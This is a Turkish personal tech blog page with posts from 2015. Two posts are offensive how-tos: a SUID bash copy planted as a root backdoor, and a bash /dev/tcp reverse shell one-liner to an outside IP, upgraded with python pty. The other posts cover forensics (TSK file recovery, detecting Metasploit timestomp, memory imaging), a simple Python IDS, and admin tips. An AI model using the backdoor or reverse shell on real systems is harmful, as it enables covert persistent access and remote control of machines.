8 Aralık 2015 Salı

Suid Backdoor

Öncelikle root yetkilerine sahip olmuş olmanız gerekiyor. Nasıl root olacağınız bu yazının dışında kalan bir konu. Biz root olduktan sonrası ile ilgileniyoruz :-)

İlk olarak aşağıdaki komutlarla bash kabuğunun bir kopyasını alalım. Ben kendi ev dizinime kopyalamayı tercih ettim. Daha sonra chmod ile suid olarak ayarlayalım.

mordor ~ # cp /bin/bash ~harun/backdoor
mordor ~ # chmod +s ~harun/backdoor

Artık  suid arkakapımız hazır. Bundan sonra yapmamız gereken -p parametresi ile ev dizinimize aldığımız suid bash kabuğumuzun kopyasını çalıştırmak olacak…

harun@mordor ~ $ whoami
harun
harun@mordor ~ $ ./backdoor -p
harun@mordor ~ # whoami
root

2 Aralık 2015 Çarşamba

Bir Dizin Altındaki PHP Dosyalarının Çalıştırılmasını Engellemek

Web sunucunuzdaki bir dizin ve altındaki dizinlerdeki PHP dosyalarının çalıştırılmadan doğrudan kullanıcıya gönderilmesi için .htaccess dosyası oluşturup içerisinde aşağıdakileri yazmak yeterli olacaktır...

RemoveHandler .php .phtml .php3
RemoveType .php .phtml .php3
php_flag engine off

Bu ayardan sonra PHP kodlarınızın yorumlanmadan kullanıcılara gönderileceğini ve kaynak kodunuzun doğrudan kullanıcılar tarafından görülebileceğini unutmayın... 

25 Kasım 2015 Çarşamba

Bash Reverse Shell ile Terminal Almak

Bash ile reverse shell almak için aşağıdaki komut kulanılabilir. Bu komut 10.0.0.100 IP adresinin 8080 portuna bağlantı sağlayacak ve bash kabuğunun kullanılmasına izin verecektir.

/bin/bash -c '/bin/bash -i >& /dev/tcp/10.0.0.100/8080 0>&1' > /dev/null

Elde edilen bu komut satırı gerçek bir terminal gibi davranmadığından interafktif işlemlerde aşağıdaki gibi "Pseudo-terminal will not be allocated because stdin is not a terminal." hatası verecekir.

gondor ~ # ssh root@192.168.100.100
ssh root@192.168.100.100
Pseudo-terminal will not be allocated because stdin is not a terminal.

Bu durumda python pty.spawn ile gerçek bir terminal başlatmayı deneyebiliriz. Bunun için aşağıdaki gibi bir komut vermek yeterli olacaktır.

/usr/bin/python -c 'import pty; pty.spawn("/bin/bash")'


22 Kasım 2015 Pazar

PHP ile Altyazı Dosyalarını Düzenlemek ve Senkron Kaymasını Çözmek

Altyazılı film izlerken en çok can sıkan meselelerden birisi altyazıda senkron kayması olması ve altyazıların konuşmalardan farklı zamanlarda gelmesidir. Bu sorun video oynatıcı üzerinden ayarlama yapılarak giderilebilir ancak bazen bu mümkün olmaz...

Yine böyle bir durumda altyazı ve konuşmalar arasındaki farkın yaklaşık 30 sn olduğu bir durumda altyazı dosyasını düzenleyerek tüm zamanları 30 sn kaydırmayı ve senkronu sağlamayı düşündüm. Elimdeki altyazı dosyası aşağıdaki formattaydı...

1
00:01:49,067 --> 00:01:52,064
Ne zaman karşılıklı yarışacağız?

2
00:01:54,562 --> 00:01:57,259
Gunma'daki tüm sürücüler
yenildikten sonra,
 
Bu dosyayı okuyup zamanların üzerine 30sn ekleyecek ve çıktıyı ekrana basacak bir PHP betiği yazmaya karar verdim ve apartopar aşağıdaki kodları yazdım ve yeni altyazı dosyası oluşturdum... :)

 <?php
$file="x.srt"; #Okunacak altyazı dosyası

$f=file_get_contents($file);
$f2=(explode("\n", $f));

foreach($f2 as $l){
    $l = trim($l);
    if(preg_match("/^[0-9]{2}:[0-9]{2}:[0-9]{2},[0-9]{3} --> [0-9]{2}:[0-9]{2}:[0-9]{2},[0-9]{3}/",$l)){
            list($t1,$tmp,$t2)=explode(" ",$l);
            list($saat1,$kuyruk1)=explode(",",$t1);
            list($saat2,$kuyruk2)=explode(",",$t2);
            $q = strtotime("$saat1")+30; #30 sn ekleyelim...
            $ysaat = date('H:i:s', $q) .",$kuyruk1";
            $q2 = strtotime("$saat2")+30; #30 sn ekleyelim...
            $ysaat2 = date('H:i:s', $q2) .",$kuyruk2";
            echo "$ysaat --> $ysaat2\n";
    }else{
        echo "$l\n";   
    }
}
?>

Daha sonra bu betiği altyazı.php adıyla kayıt edip aşağıdaki gibi çalıştırarak yeni altyazı dosyamı elde ettim...

harun@gondor ~ $ php -f altyazi.php > yeni.srt

Yeni dosyamın içeriği aşağıdaki gibi oldu ve senkron sorunum ortadan kalktı... :)

1
00:02:21,067 --> 00:02:24,064
Ne zaman karşılıklı yarışacağız?

2
00:02:26,562 --> 00:02:29,259
Gunma'daki tüm sürücüler
yenildikten sonra,

Bunu yapmanın muhakkak daha iyi bir yolu vardır. Ancak ben aklıma ilk gelen hızlı ve kirli çözümle film keyfine gölge düşürecek bir altyazı sorununu çözmüş oldum... Daha sonra yine lazım olduğunda bulabileyim diye kodları buraya not alıyorum... :)



15 Kasım 2015 Pazar

The Sleuth Kit (TSK) ile Silinen Dosyaları Kurtarmak

The Sleuth Kit (TSK) araçlarını kullanarak silinen bir dosyayı nasıl elde elebileceğimizi en yalın haliyle örneklemeye çalışalım...

Öncelikle Windows 7 üzerinde komut satırına geçip aşağıdaki gibi bir komutla onemli.txt dosyasını oluşturalım.
C:\>echo "Onemli Veriler" > onemli.txt

Dosyamızın oluştuğunu doğrulamak için type komutu ile içine bakalım ve önemli verilerimizin yerinde durduğunu görelim :)
C:\>type onemli.txt
"Onemli Veriler"

Şimdi onemli.txt dosyasını kazara siliyoruz :)

C:\>del onemli.txt

Şimdi de dosyamızın silindiğini doğrulayalım...
C:\>type onemli.txt
Sistem belirtilen dosyayı bulamıyor. 

Hemen dir komutu verelim ve dosya listesini alalım...

C:\>dir
 C sürücüsündeki birimin etiketi yok.
 Birim Seri Numarası: C038-BD41

 C:\ dizini

10.06.2009  23:42                24 autoexec.bat
10.06.2009  23:42                10 config.sys
14.07.2009  04:37    <DIR>          PerfLogs
13.11.2015  13:43    <DIR>          Program Files
02.11.2015  17:33    <DIR>          tsk
13.10.2015  22:22    <DIR>          Users
15.11.2015  17:49    <DIR>          Windows
               2 Dosya               34 bayt
               5 Dizin    4.504.195.072 bayt boş


Görüldüğü gibi dosyamız silinmiş durumda! Onermi Verilerimizi kaybetmiş durumdayız... :)Artık TSK araçlarını kullanarak neler yapabiliriz bir bakalım..

Öncelikle C: sürücündeki dosyaları listelemek için fls aracını kullanalım...
C:\>fls \\.\c:
r/r 4-128-4:    $AttrDef
r/r 8-128-2:    $BadClus
.....
r/r 9759-128-1: autoexec.bat
r/r 9762-128-1: config.sys
d/d 9764-144-1: Documents and Settings
d/d 16566-144-1:MSOCache
r/r 43548-128-1:pagefile.sys
d/d 58-144-1:   PerfLogs
d/d 60-144-6:   Program Files
d/d 261-144-6:  ProgramData
d/d 16827-144-1:Recovery
d/d 11291-144-6:System Volume Information
d/d 54841-144-5:tsk
d/d 357-144-5:  Users
d/d 517-144-5:  Windows
-/r * 55019-128-1:onemli.txt
d/d 61696:      $OrphanFiles 


Yukarıdaki çıktıyı incelediğimzide silinmiş olan onemli.txt dosyasına ait kaydın  55019-128-1 numaralı MFT kaydında olduğunu görüyoruz...

Bu kaydın gösteridiği dosya içeriğini elde etmek için icat komutunu kullanalım...

C:\>icat \\.\c:  55019
"Onemli Veriler"

Görüldüğü gibi "Onemi Veriler"i elde etmeyi başardık... :)

Timestomp ile Zaman Bilgisi Değiştirilen Dosyaların Tespit Edilmesi

Dosya ile ilgili oluşturulma, değiştirilme ve son erişim tarihlerini tutan veriler; "dosya adı" veya "MFT kayıt numarası" gibi "essentials" yani olmazsa olmaz veriler değildirler. Bu nedenle değiştirilmeleri işlevsel olarak bir sorun teşkil etmez...

Metasploit içerisinde gelen timestomp aracı ile NTFS dosya sistemi üzerindeki dosyaların zaman bilgileri değiştirilebiliyor. Bu durumda dosya özelliklerine bakıldığında dosyanın oluşturma, değiştirme ve son erişim tarihleri olması gerekenden farklı şekilde görüntüleniyor.

Dosyanın zaman bilgilerinde bir değişiklik yapılıp yapılmadığını görmek için The Sleuth Kit araçlarını kullanabiliriz...

NTFS dosya sistemi üzerinde c:\test.txt dosyası bizim kobay dosyamız. C: sürücünde dir komutunu vererek dosyaları listeleyelim...

C:\>dir
 C sürücüsündeki birimin etiketi yok.
 Birim Seri Numarası: C038-BD41

 C:\ dizini

10.06.2009  23:42                24 autoexec.bat
10.06.2009  23:42                10 config.sys
14.07.2009  04:37    <DIR>          PerfLogs
13.11.2015  13:43    <DIR>          Program Files
15.11.2015  17:50                14 test.txt
13.10.2015  22:22    <DIR>          Users
15.11.2015  17:49    <DIR>          Windows
               3 Dosya               48 bayt
               5 Dizin    4.504.195.072 bayt boş


Yukarıdaki çıktıda görüleceği üzere dosyanın zaman bilgisi 15.11.2015 17:50 olarak görünüyor. Biraz daha detaylı bakmak için tsk araçlarını kullanalım. Öncelikle dosyanın MFT kaydını bulmak için C: sürücündeki dosyaları fls komutu ile listeleyelim...

C:\>fls \\.\c:
r/r 4-128-4:    $AttrDef
r/r 8-128-2:    $BadClus
r/r 8-128-1:    $BadClus:$Bad
....
d/d 261-144-6:  ProgramData
d/d 16827-144-1:Recovery
d/d 11291-144-6:System Volume Information
r/r 51165-128-1:test.txt
d/d 357-144-5:  Users
d/d 517-144-5:  Windows
d/d 61696:      $OrphanFiles

Yukarıdaki çıktıda görüldüğü üzere test.txt dosyası 51165-128-1 numaralı MFT kaydı tarafından gösterilmekte. Şimdi bu kayıt numarasını ve istat komutunu kullanarak dosyanın detaylarını görelim...

C:\>istat \\.\c:  51165-128-1
MFT Entry Header Values:
Entry: 51165        Sequence: 5
$LogFile Sequence Number: 371519735
Allocated File
Links: 1

$STANDARD_INFORMATION Attribute Values:
Flags: Archive
Owner ID: 0
Security ID: 891  (S-1-5-32-544)
Last User Journal Update Sequence Number: 62453296
Created:        2015-11-15 17:50:17.741514900 (GTB Standart Saati)
File Modified:  2015-11-15 17:50:18.147115700 (GTB Standart Saati)
MFT Modified:   2015-11-15 17:50:18.147115700 (GTB Standart Saati)
Accessed:       2015-11-15 17:50:17.741514900 (GTB Standart Saati)

$FILE_NAME Attribute Values:
Flags: Archive
Name: test.txt
Parent MFT Entry: 5     Sequence: 5
Allocated Size: 0       Actual Size: 0
Created:        2015-11-15 17:50:17.741514900 (GTB Standart Saati)
File Modified:  2015-11-15 17:50:17.741514900 (GTB Standart Saati)
MFT Modified:   2015-11-15 17:50:17.741514900 (GTB Standart Saati)
Accessed:       2015-11-15 17:50:17.741514900 (GTB Standart Saati)

Attributes:
Type: $STANDARD_INFORMATION (16-0)   Name: N/A   Resident   size: 72
Type: $FILE_NAME (48-2)   Name: N/A   Resident   size: 82
Type: $DATA (128-1)   Name: N/A   Resident   size: 14

Yukarıdaki çıktıdan görüleceği üzere dosyaya ait zaman bilgileri $STANDARD_INFORMATION ve $FILE_NAME özellikleri içerisinde tutulmakta...

Şimdi meterpreter timestomp modülü ile dosyamızın zaman bilgilerini 11/11/2011 11:11:11 olarak değiştirelim...

meterpreter > timestomp  -z "11/11/2011 11:11:11" c:\\test.txt
11/11/2011 11:11:11
[*] Setting specific MACE attributes on c:\test.txt

Şimdi dir komutu ile dosyanın zaman bigileri değişmiş mi bir bakalım?...

C:\>dir
 C sürücüsündeki birimin etiketi yok.
 Birim Seri Numarası: C038-BD41

 C:\ dizini

10.06.2009  23:42                24 autoexec.bat
10.06.2009  23:42                10 config.sys
14.07.2009  04:37    <DIR>          PerfLogs
13.11.2015  13:43    <DIR>          Program Files
11.11.2011  11:11                14 test.txt
02.11.2015  17:33    <DIR>          tsk
13.10.2015  22:22    <DIR>          Users
15.11.2015  17:49    <DIR>          Windows
               3 Dosya               48 bayt
               5 Dizin    4.504.195.072 bayt boş

Çıktıda görüleceği üzere sistemimiz bu dosyanın 11.11.2011 11:11 tarihinden kalma olduğunu düşünüyor.



Şimdi bir kez daha istat komutu ile dosyaya ait MFT kaydını inceleyelim...

C:\>istat \\.\c:  51165-128-1
MFT Entry Header Values:
Entry: 51165        Sequence: 5
$LogFile Sequence Number: 371553895
Allocated File
Links: 1

$STANDARD_INFORMATION Attribute Values:
Flags: Archive
Owner ID: 0
Security ID: 891  (S-1-5-32-544)
Last User Journal Update Sequence Number: 62470080
Created:        2011-11-11 11:11:11.000000000 (GTB Standart Saati)
File Modified:  2011-11-11 11:11:11.000000000 (GTB Standart Saati)
MFT Modified:   2011-11-11 11:11:11.000000000 (GTB Standart Saati)
Accessed:       2011-11-11 11:11:11.000000000 (GTB Standart Saati)

$FILE_NAME Attribute Values:
Flags: Archive
Name: test.txt
Parent MFT Entry: 5     Sequence: 5
Allocated Size: 0       Actual Size: 0
Created:        2015-11-15 17:50:17.741514900 (GTB Standart Saati)
File Modified:  2015-11-15 17:50:17.741514900 (GTB Standart Saati)
MFT Modified:   2015-11-15 17:50:17.741514900 (GTB Standart Saati)
Accessed:       2015-11-15 17:50:17.741514900 (GTB Standart Saati)

Attributes:
Type: $STANDARD_INFORMATION (16-0)   Name: N/A   Resident   size: 72
Type: $FILE_NAME (48-2)   Name: N/A   Resident   size: 82
Type: $DATA (128-1)   Name: N/A   Resident   size: 14 

Çıktıdan görüleceği üzere $STANDARD_INFORMATION alanındak zaman bilgileri değiştirilmiş. Ancak $FILE_NAME alanındaki zaman bilgileri doğru olarak görünme devam etmekte. Sistem kullanıcılara dosya zaman bilgilerini gösterirken $STANDARD_INFORMATION alanını kullandığı için biz faniler dosyanın eski bir dosya olduğunu düşünüyoruz. Ancak TSK araçları kullanılarak inceleme yaptığımızda $STANDARD_INFORMATION ve $FILE_NAME bilgilerinin farklı olduğunu görüyoruz. Bu durumda dosyanın zaman bilgilerinin değiştirildiğini düşünebiliriz...

14 Kasım 2015 Cumartesi

Linux Mint Rebecca 17.1 ve Asus N550 Touchpad Problemi

Asus N550 üzerinde Linux Mint Rebecca 17.1 kullanırken toucpadi kapatmak istediğiniz durumlarda aşağıdaki gibi betik yazabilir ve bu betiğe klavye kısayol tuşu atayarak kullanabilirsiniz.

#!/bin/bash

declare -i ID
ID=15
declare -i STATE
STATE=`xinput list-props $ID|grep 'Device Enabled'|awk '{print $4}'`
if [ $STATE -eq 1 ]
then
    xinput disable $ID
    echo "Touchpad disabled."
else
    xinput enable $ID
    echo "Touchpad enabled."
fi

Yukarıdaki betikde ID alanı devre dışı bırakılacak aygıtın ID numarasını göstermektedir. Hangi aygıtın hangi ID numarasına sahip olduğunu görmek için xinput komutunu verebilirsiniz.

harun@gondor ~ $ xinput 
⎡ Virtual core pointer                     id=2 [master pointer  (3)]
⎜   ↳ Virtual core XTEST pointer               id=4 [slave  pointer  (2)]
⎜   ↳ Logitech USB Receiver                    id=10 [slave  pointer  (2)]
⎜   ↳ Logitech USB Receiver                    id=11 [slave  pointer  (2)]
⎜   ↳ ETPS/2 Elantech Touchpad                 id=15 [slave  pointer  (2)]
⎣ Virtual core keyboard                    id=3 [master keyboard (2)]
    ↳ Virtual core XTEST keyboard              id=5 [slave  keyboard (3)]
    ↳ Power Button                             id=6 [slave  keyboard (3)]
    ↳ Video Bus                                id=7 [slave  keyboard (3)]
    ↳ Video Bus                                id=8 [slave  keyboard (3)]
    ↳ Sleep Button                             id=9 [slave  keyboard (3)]
    ↳ USB2.0 UVC HD Webcam                     id=12 [slave  keyboard (3)]
    ↳ Asus WMI hotkeys                         id=13 [slave  keyboard (3)]
    ↳ AT Translated Set 2 keyboard             id=14 [slave  keyboard (3)]


Görüldüğü gibi Touchpad için ID değeri 15 olarak görünüyor. Ben Betikteki ID değişkenini 15 olarak kullandım. Eğer sizde farklı bir ID değeri varsa betikte tanımlı olan ID değerini xinput çıktısına uygun bir şekilde değiştirmeniz gerekir....

17 Ekim 2015 Cumartesi

Linuxlarda Bellek İmajı Almak

Modern linux sistemlerden bellek imajı almak için Linux Memory Grabber (lmg) ve Linux Memory Extractor (LiME) araçları kullanılabilir. Bu araçları bir flashdisk'e toplayalım...

#flash diskin mount olduğu dizine geçelim... 
cd /media/harun/flash
#lmg aracını indirelim...
git clone https://github.com/halpomeranz/lmg.git lmg-src 
#lmg scriptini flash diskin kök dizinine alalım.. çalıştırması kolay olur.. :)  
cp lmg-src/lmg  .
chmod +x lmg 
#static-dwarfdump.tgz paketini açalım... 
tar zxvf lmg-src/static-dwarfdump.tgz  
#LiME aracını indirelim
git clone https://github.com/504ensicsLabs/LiME.git lime 
#LiME aracını lmg için yamalayalım. Lime Makefile için küçük bir yama yapıyoruz.
cd lime/src/
patch < ../../lmg-src/lime-Makefile.patch 
#flash diskin kök dizinine geçelim...
cd ..
cd .. 
# lmg komutunu çalıştıralım ve bellek imajını alalım...

./lmg
Dumping memory in "lime" format to /mnt/capture/kali-2015-10-17_15.59.01
This could take a while...Done! Cleaning up...Done!
Grabbing a copy of /bin/bash...Done!
Compile profile for this system? [N|y] y
make -C //lib/modules/4.0.0-kali1-amd64/build CONFIG_DEBUG_INFO=y M="/mnt/volatility/tools/linux" modules
make[1]: Entering directory '/usr/src/linux-headers-4.0.0-kali1-amd64'
Makefile:10: *** mixed implicit and normal rules: deprecated syntax
  CC [M]  /mnt/volatility/tools/linux/module.o
  Building modules, stage 2.
  MODPOST 1 modules
  CC      /mnt/volatility/tools/linux/module.mod.o
  LD [M]  /mnt/volatility/tools/linux/module.ko
make[1]: Leaving directory '/usr/src/linux-headers-4.0.0-kali1-amd64'
dwarfdump -di module.ko > module.dwarf
make -C //lib/modules/4.0.0-kali1-amd64/build M="/mnt/volatility/tools/linux" clean
make[1]: Entering directory '/usr/src/linux-headers-4.0.0-kali1-amd64'
Makefile:10: *** mixed implicit and normal rules: deprecated syntax
  CLEAN   /mnt/volatility/tools/linux/.tmp_versions
  CLEAN   /mnt/volatility/tools/linux/Module.symvers
make[1]: Leaving directory '/usr/src/linux-headers-4.0.0-kali1-amd64'
  adding: module.dwarf (deflated 91%)
  adding: boot/System.map-4.0.0-kali1-amd64 (deflated 79%)
 

Bellek imajı almak için gerekli çekirdek modülleri derlendi, yüklendi, bellek imajı ve bu imajı volatility aracı ile incelmek için gerekli olan profile dosyası capture dizinin altına kayıt edildi... :)

Python ile ilkel bir IDS/IPS Örneği

Ağ trafiğini izleyecek ve web sunucuya gelecek olan isteklerin içerisinde belirli saldırı desenlerini arayacak, bulduğu saldırı desenlerini kayıt altına alacak ve istenirse saldırıyı yapan IP adresini engelleyecek basit bir IDS/IPS sistemi uygulaması yazmıştım. Burada dursun... Belki birilerinin işine yarar..

#!/usr/bin/env python
# coding: utf-8
#----------------------------------------------------

# packet capture & decoding
import pcapy,dpkt   # bu kütüphaneleri yüklemek gerekiyor. standart python ile gelmiyorlar.
import socket, sys, os

attack_pattern='' #saldırı desenlerini taşıyan değişken
ipban=1 # ipban değeri 1 olursa saldırgan IP adresi iptables ile engellenenir.

def create_attack_pattern(): #3. adım saldırı desenleri oluşturulur
    global attack_pattern
    F=open("attack_patterns.txt","rb")
    attack_pattern=F.read().split("\n")
    
class network_monitor:
    def __init__ (self):
        pass

    def start (self): # 5. adım...
        # TODO: specify a device or select all devices
        # dev = pcapy.findalldevs()[0] # ağ aygılarından ilk aygıtı seçmeyi sağlar.
        dev = 'wlan0' #Dinleyeceğimiz aygıt adı
        p = pcapy.open_live(dev, 65536, False, 1)
        p.loop(-1, self.handle_packet)

    def handle_packet (self, header, data):
        global attack_pattern,ipban,banned_ips
        
        eth = dpkt.ethernet.Ethernet (data) #etherner datasını almak için kullanıyoruz.
        if eth.type == dpkt.ethernet.ETH_TYPE_IP: #ethernet tipine bakyoruz. IP paketiyse işleme alıyoruz.
            ip = eth.data
            tcp = ip.data
            src_ip = socket.inet_ntoa(ip.src) #kayna ip adresini buluyoruz.
            dst_ip = socket.inet_ntoa(ip.dst) #hedef ip adresini buluyoruz.
            
            try:
                if tcp.dport == 80 and len(tcp.data) > 0: #tcp portu 80 ise ve aktif veri varsa aşağıdakiler yapılacak...
                    http = dpkt.http.Request(tcp.data)
            
                    # saldırı desenleri uri de var mı bakalım...
                    for i in attack_pattern: # saldırı desenleri içerisinde dolaşalım
                        if http.uri.find(i)>0: # gelen istekte saldırı var mı kontrol edelim.
                            # desen eşleşiyorsa saldırı var diyelim..
                            # bu kısımda veritabanına ekleme yapılacak...
                            
                            logline= "Saldırı: %s > %s %s %s%s " %(src_ip,dst_ip,http.method,http.headers['host'],http.uri)
                            if ipban==1: # saldırı varsa ve ipban değişkeni 1 ise bloklama yapalım
                                print "Çalıştırılacak Komut: iptables -A INPUT -s %s -j DROP"%src_ip
                                # komutu çalıştırmak için alt satırı açmamız gerekir:)
                                #os.system("iptables -A INPUT -s %s -j DROP"%src_ip) # Linux için saldırgan IP adresini engelleyelim...
                                # windows için netsh komutları http://itblog.gr/213/configuring-windows-firewall-from-the-command-line/
                                #os.system("netsh advfirewall firewall add rule name=\"Block some stuff\" dir=in action=block remoteip=%s enable=yes"%src_ip) # Windows için saldırgan IP adresini engelleyelim...
                            print logline # saldırı mesajını ekrana yazalım... :)

                    
            except:
                pass

def main():
    create_attack_pattern() # 2. adım 
    network_monitor ().start () # 4 .adım

if __name__=="__main__":
    main () #1. adım

2 Eylül 2015 Çarşamba

SSH Üzerinden TAR ile Dosya Arşivleme

Yerel Dosyaları Uzak Sunucuya Yedeklemek

Yerelde çalışırken dosyalarımızı uzak sunucu üzerine tar ile arşivlemek için aşağıdaki komutu kullanabilirsiniz.

tar cvzf - . | ssh username@backupserver 'cat - > backup.tar.gz'

Bu komut bulunduğunuz dizini tar ile sıkıştıracak ve dosyayı ssh üzerinden backupserver üzerine aktaracaktır.

 

Uzak Sunucudaki Dosyaları Yedeklemek


Uzak sunucudaki dosyalarınızı tek komutla yerel diskinize yedeklemek için aşağıdaki gibi bir komut verebilirsiniz.

ssh root@uzaksunucum "tar cvzf - /home/harun"  > backup.tar.gz

Bu komut uzak sucu üzerindeki /home/harun dizinini sıkıştırıp yerel diskinize indirecektir.